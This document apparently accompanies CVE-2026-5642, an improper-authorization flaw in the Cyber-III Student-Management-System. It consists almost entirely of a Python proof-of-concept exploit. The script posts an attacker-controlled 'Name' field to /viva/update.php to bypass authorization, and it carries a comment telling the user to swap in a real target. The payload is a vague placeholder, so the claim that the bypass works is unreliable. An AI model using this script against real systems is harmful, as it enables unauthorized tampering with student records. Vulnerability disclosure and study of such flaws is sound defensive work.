CVE-2026-5642 Cyber-III学生管理系统授权不当漏洞

import requests def exploit_vulnerability(target_url): """ Exploit CVE-2026-5642: Improper Authorization in Cyber-III Student-Management-System Target: /viva/update.php Parameter: Name """ full_url = f"{target_url}/viva/update.php" # Malicious payload manipulating the 'Name' argument payload = { "Name": "attacker_controlled_value" # This manipulation bypasses authorization } try: print(f"[+] Sending exploit request to {full_url}...") response = requests.post(full_url, data=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if authorization was bypassed.") print(f"[+] Response: {response.text[:200]}") else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error during exploit: {e}") if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target exploit_vulnerability(target)